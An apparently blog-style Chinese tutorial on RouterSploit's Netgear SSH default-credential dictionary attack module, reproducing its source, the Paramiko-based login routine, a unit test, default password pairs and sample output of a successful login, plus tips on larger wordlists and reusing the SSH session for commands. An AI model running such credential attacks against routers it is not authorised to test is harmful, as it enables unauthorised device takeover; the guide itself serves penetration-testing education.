ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

RouterSploit 实战:Netgear 路由器 SSH 默认凭据字典攻击模块(ssh_default_creds)完全指南

RouterSploit 实战:Netgear 路由器 SSH 默认凭据字典攻击模块(ssh_default_creds)完全指南 网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载RouterSploit 是面向嵌入式设备的渗透测试与漏洞利用框架其creds模块体系专门用于对各类路由器、摄像头的服务执行默认凭据与弱口令检测。本文聚焦于 ssh_default_creds.py 这一 Netgear 路由器专用模块完整讲解其使用步骤、全部可配置参数、源码执行流程与底层 SSH 认证原理帮助你快速评估目标 Netgear 路由器是否仍在使用出厂默认 SSH 凭据并掌握将其泛化到其他设备的思路。模块简介对 Netgear 路由器 SSH 服务的默认凭据字典攻击该模块的官方描述为Module performs dictionary attack with default credentials against Netgear Router SSH service. If valid credentials are found, they are displayed to the user.对 Netgear 路由器 SSH 服务执行默认凭据字典攻击若发现有效凭据则展示给用户。它属于 creds/routers/netgear 目录下的三个默认凭据模块之一另两个分别针对 FTP 与 Telnet 服务与 ftp_default_creds.py、telnet_default_creds.py并列共同覆盖 Netgear 路由器最常见的三种远程管理协议。从源码结构看该模块是一个非常典型的厂商定制薄壳它继承自通用模块 ssh_default.py即SSHDefault只做两件事——声明厂商与作者元数据、收紧默认参数。真正的字典攻击逻辑全部由父类复用这也是 RouterSploit 将大量厂商模块收敛为少量通用引擎的设计哲学。from routersploit.core.exploit import * from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault class Exploit(SSHDefault): __info__ { name: Netgear Router Default SSH Creds, description: Module performs dictionary attack against Netgear Router SSH service. If valid credentials are found, they are displayed to the user., authors: ( Marcin Bury marcin[at]threat9.com, # routersploit module ), devices: ( Netgear Router, ), } target OptIP(, Target IPv4, IPv6 address or file with ip:port (file://)) port OptPort(22, Target SSH port) threads OptInteger(1, Number of threads) defaults OptWordlist(admin:admin,admin:1234,admin:, User:Pass or file with default credentials (file://))快速上手验证步骤Verification Steps原文档给出了标准的四步操作流程在 rsf.py 启动的交互式解释器中即可完成启动框架./rsf.py加载模块use creds/routers/netgear/ssh_default_creds设置目标set target [TargetIP]例如set target 192.168.1.1执行攻击run若发现有效凭据结果将以表格形式展示给用户target选项类型为OptIP既支持单个 IPv4/IPv6 地址也支持通过file://前缀引用一个包含ip:port列表的文件便于批量扫描多个目标。选项详解模块全部可配置参数虽然 Netgear 模块自身只声明了四个选项但继承自父类SSHDefault后实际可用的完整选项还包括stop_on_success与verbosity。汇总如下选项类型默认值说明targetOptIP空目标 IPv4/IPv6 地址或file://形式的ip:port列表文件portOptPort22目标 SSH 端口threadsOptInteger1并发线程数Netgear 模块默认 1通用模块默认为 8defaultsOptWordlistadmin:admin,admin:1234,admin:User:Pass凭据列表或以file://引用字典文件stop_on_successOptBoolTrue找到第一组有效凭据后是否立即停止攻击verbosityOptBoolTrue是否逐条显示认证尝试过程其中两个值得深入说明threads并发线程数Netgear 模块将默认线程数刻意收紧为 1而父类通用模块默认是 8。这是因为 Netgear 默认凭据列表极短仅 3 组单线程即可瞬时完成当你在set后扩大字典或改用file://大字典时可适当调高该值加速但需注意对目标设备的连接压力。defaults凭据字典Netgear 模块内置了三组针对该厂商最典型的默认组合admin:admin、admin:1234、admin:即用户名为admin、空密码。从 option.py 中OptWordlist的实现可以确认其解析规则值以file://开头时读取指定文件每行一个User:Pass条目否则按逗号,切分为列表。class OptWordlist(Option): def __get__(self, instance, owner): if self.display_value.startswith(file://): path self.display_value.replace(file://, ) with open(path, r) as f: lines [line.strip() for line in f.readlines()] return lines return self.display_value.split(,)因此你可以用set defaults file:///path/to/my_creds.txt加载自定义字典每行形如admin:admin。文件不存在时赋值会直接抛出OptionValidationError保证误操作被提前拦截。实战场景演示Scenarios原文档给出了完整的真实运行输出完整继承如下rsf use creds/routers/netgear/ssh_default_creds rsf (Netgear Router Default SSH Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (Netgear Router Default SSH Creds) run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: admin Password: 12345 [-] SSH Authentication Failed - Username: admin Password: 123456 [-] SSH Authentication Failed - Username: Admin Password: 12345 [-] SSH Authentication Failed - Username: Admin Password: 123456 [] SSH Authentication Successful - Username: admin Password: admin [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin注意示例输出中实际尝试了 4 组失败凭据admin:12345、admin:123456、Admin:12345、Admin:123456后命中admin:admin——这说明运行前字典已被手动扩展默认仅 3 组也印证了set defaults的灵活性。整个会话的关键信息点包括攻击前先探测目标是否暴露 SSH 服务Target exposes SSH service每条失败尝试输出SSH Authentication Failed成功时输出SSH Authentication Successful命中后以表格汇总Target / Port / Service / Username / Password五列若全部失败则会输出Credentials not found。源码剖析一次默认凭据攻击的完整执行链路父类 ssh_default.py 中定义了完整的攻击编排逻辑链路为run()→attack()→check()target_function()。入口run()先清空凭据缓存随后调用attack()def run(self): self.credentials [] self.attack()attack()方法带有multi装饰器支持多目标批量执行其流程是调用check()验证目标是否开放 SSH 服务未开放则直接返回打印 Starting default credentials attack against SSH service将凭据列表包装为LockedIterator线程安全迭代器通过run_threads()启动threads个线程执行target_function若self.credentials非空以五列表格打印结果否则输出Credentials not found。target_function()是每个线程的工作单元从共享迭代器中取出一组username:password按第一个冒号切分创建 SSH 客户端并调用login()尝试认证。命中后若stop_on_success为真则清空线程事件标志running.clear()通知其余线程停止并将命中记录追加到self.credentialsdef target_function(self, running, data): while running.is_set(): try: username, password data.next().split(:, 1) ssh_client self.ssh_create() if ssh_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ssh_client.close() except StopIteration: breakcheck()是前置探测创建一个 SSH 客户端执行test_connect()成功则输出 Target exposes SSH service 并返回True。注意test_connect()并非真的尝试登录而是故意用一个随机 12 位密码random_text(12)以用户名root发起连接——只要服务器返回AuthenticationException就说明 SSH 服务确实在监听且接受认证流程此时判定探测成功详见 ssh_client.py。此外父类还提供了mute装饰的check_default()方法静默执行完整字典攻击并返回命中的凭据列表供框架的check机制与自动扫描链路使用不会向终端输出过程信息。底层原理SSH 客户端如何完成认证所有认证动作最终落在 ssh_client.py 的SSHCli类上其底层基于 Paramiko 实现连接超时与 banner 超时均为SSH_TIMEOUT 8.0秒连接时显式设置look_for_keysFalse、allow_agentFalse避免本地 SSH 密钥与 ssh-agent 干扰密码认证认证失败paramiko.AuthenticationException时打印 SSH Authentication Failed - Username: xxx Password: xxx关闭连接并返回False认证成功则打印 SSH Authentication Successful返回True其他异常统一归类为 SSH Error while authenticating避免单个目标的网络抖动中断整个字典攻击。def login(self, username: str, password: str, retries: int 1) - bool: for _ in range(retries): try: self.ssh_client.connect( self.ssh_target, self.ssh_port, timeoutSSH_TIMEOUT, banner_timeoutSSH_TIMEOUT, usernameusername, passwordpassword, look_for_keysFalse, allow_agentFalse, ) except paramiko.AuthenticationException: print_error(self.peer, SSH Authentication Failed - Username: {} Password: {}.format(username, password), verboseself.verbosity) self.ssh_client.close() break except Exception as err: print_error(self.peer, SSH Error while authenticating, err, verboseself.verbosity) else: print_success(self.peer, SSH Authentication Successful - Username: {} Password: {}.format(username, password), verboseself.verbosity) return True self.ssh_client.close() return False由于SSHCli暴露了execute()、interactive()、get_file()/send_file()等能力命中默认凭据后你可以在 RouterSploit 中继续利用 SSH 通道执行命令或交互式登录实现从探测到弱口令到建立会话的完整闭环。测试用例模块行为如何被验证仓库为每个凭据模块都配套了单元测试Netgear SSH 模块对应 test_ssh_default_creds.py它使用 conftest.py 中基于TelnetServiceMock的generic_targetfixtureSSH 模块测试复用 Telnet mock 验证非 SSH 服务不被误判的场景def test_check_success(generic_target): Test scenario - testing against SSH server exploit Exploit() assert exploit.target assert exploit.port 22 assert exploit.threads 1 assert exploit.defaults [admin:admin, admin:1234, admin:] assert exploit.stop_on_success is True assert exploit.verbosity is True exploit.target generic_target.host exploit.port generic_target.port assert exploit.check() is False assert exploit.check_default() is None assert exploit.run() is None该用例同时固化了模块的四个关键契约默认端口为 22、默认线程数为 1、默认字典为[admin:admin, admin:1234, admin:]、stop_on_success与verbosity默认均为True并验证了面对非 SSH 服务时check()返回False、check_default()与run()返回None不产生误报、不抛异常的健壮行为。使用要点与注意事项仅面向授权测试本模块用于默认凭据与弱口令检测请在获得合法授权的前提下对目标设备使用避免未授权扫描带来的法律风险。默认字典很精简内置仅 3 组凭据覆盖最常见的admin账号组合真实评估时应通过set defaults file://...挂载更完整的厂商字典或参考同一目录下其他厂商模块的字典写法自行扩充。stop_on_success与verbosity的取舍批量扫描大量目标时可设置set stop_on_success true减少无效连接取证场景需保留完整失败日志时保持verbosity true。结果验证命中凭据后除终端表格外你还可以利用SSHCli提供的execute()/interactive()方法实际登录验证凭据有效性并检查设备配置确认是否存在进一步被利用的可能。同类模块迁移理解 Netgear 模块的薄壳继承模式后你可以轻松迁移到其他厂商——只需参考 creds/routers 目录下各厂商同名模块替换__info__元数据、devices列表与defaults字典即可复用同一套 SSH 字典攻击引擎。赞分享网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载相关推荐RouterSploit 实战Asus 路由器 SSH 服务默认凭据字典攻击模块ssh_default_creds完全指南RouterSploit 实战Asus 路由器 SSH 服务默认凭据字典攻击模块ssh_default_creds完全指南 RouterSploit 是一网络安全嵌入式routersploit Netgear 路由器 Telnet 默认凭据字典攻击模块实战指南telnet_default_credsroutersploit Netgear 路由器 Telnet 默认凭据字典攻击模块实战指南telnet_default_creds 本指南围绕 route网络安全嵌入式routersploit 中 Netsys 路由器 SSH 默认凭据检测模块实战指南ssh_default_credsroutersploit 中 Netsys 路由器 SSH 默认凭据检测模块实战指南ssh_default_creds 导读 本文围绕 routersplo网络安全嵌入式创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表